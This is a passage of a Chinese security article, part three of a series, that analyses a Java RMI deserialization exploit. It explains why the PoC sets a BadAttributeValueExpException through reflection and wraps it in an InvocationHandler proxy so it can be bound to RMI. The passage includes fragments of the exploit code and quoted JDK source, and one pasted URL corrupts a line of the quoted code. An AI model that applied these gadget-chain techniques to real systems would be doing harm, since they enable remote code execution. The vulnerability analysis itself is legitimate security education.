RMI反序列化漏洞分析( 三 )

  • for(int i = 0; i < this.iTransformers.length; ++i) {
  • object = this.iTransformers[i].transform(object);
  • }
  • 不过这里有几个问题需要专门解释下 。
    1、为什么这里的badAttributeValueExpException对象是通过反射构造,而不是直接声明?
    代码中我们用以下四行反射的方式构造badAttributeValueExpException对象
    1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    2. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
    3. valfield.setAccessible(true);
    4. valfield.set(badAttributeValueExpException, tiedMapEntry);
    而不是直接声明的呢
    1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
     
    要知道BadAttributeValueExpException的构造函数就是给val遍变量赋值
    1. public BadAttributeValueExpException (Object val) {
    2. this.val = val == null ? null : val.toString();
    3. }
    但是仔细看这个构造函数,当val不为空的时候,是将val.toString()赋值给this.val,因此这样直接声明的话会直接通过toString()触发命令执行 。但是在真正反序列化的时候,由于val变成了String类型,就会造成漏洞无法触发 。
    2、为什么不直接将badAttributeValueExpException对象bind到RMI服务?
    执行bind操作需要对象类型为Remote,这里BadAttributeValueExpException无法直接转换为Remote类型,因此需要将其封装在AnnotationInvocationHandler里面 。在这个Poc中只要是继承了InvocationHandler的动态代理类都可以,比如我们自定义以下类
    1. package client;
    2. import javax.management.BadAttributeValueExpException;
    3. import java.io.Serializable;
    4. import java.lang.reflect.InvocationHandler;
    5. import java.lang.reflect.Method;
    6. public class PocHandler implements InvocationHandler, Serializable {
    7. private BadAttributeValueExpException ref;
    8. protected PocHandler(BadAttributeValueExpException newref) {
    9. ref = newref;
    10. }
    11. // @Override
    12. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    13. return method.invoke(this.ref, args);
    14. }
    15. }
    Poc代码动态代理声明一行改为
    1. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(badAttributeValueExpException));
     
    反序列化过程是递归的,封装在InvocationHandler中badAttributeValueExpException也会执行反序列化操作,因此也能够触发命令执行 。但是有些Poc的写法就必须要用sun.reflect.annotation.AnnotationInvocationHandler这个类,因为是利用AnnotationInvocationHandler反序列化过程中readObject函数对map对象的set操作来实现命令执行的,set操作会导致transform操作,使得整个调用链触发 。
    1. private void readObject(java.io.ObjectInputStream s)
    2. throws java.io.IOException, ClassNotFoundException {
    3. s.defaultReadObject();
    4. // Check to make sure that types have not evolved incompatibly
    5. AnnotationType annotationType = null;
    6. try {
    7. annotationType = AnnotationType.getInstance(type);
    8. } catch(IllegalArgumentException e) {
    9. // Class is no longer an annotation type; time to punch out
    10. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    11. }
    12. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    13. // If there are annotation members without values, that
    14. // situation is handled by the invoke method.
    15. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    16. String name = memberValue.getKey();
    17. Class<?> memberType = memberTypes.get(name);
    18. if (memberType != null) { // i.e. member still exists
    19. Object value = https://www.isolves.com/it/aq/wl/2019-08-16/memberValue.getValue();
    20. if (!(memberType.isInstance(value) ||
    21. value instanceof ExceptionProxy)) {
    22. memberValue.setValue(
    23. new AnnotationTypeMismatchExceptionProxy(
    24. value.getClass() + "[" + value + "]").setMember(
    25. annotationType.members().get(name)));
    26. }
    27. }
    28. }
    29. }
    我本地版本jdk的AnnotationInvocationHandler没有set操作,因此一开始就借助BadAttributeValueExpException进行漏洞触发 。
    相关实验:Java反序列漏洞
    点击:
    “http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001”(PC端操作最佳哟)
    RMI反序列化漏洞分析

    文章插图
     
    ?
    声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关,本文为合天原创,如需转载,请注明出处!


    推荐阅读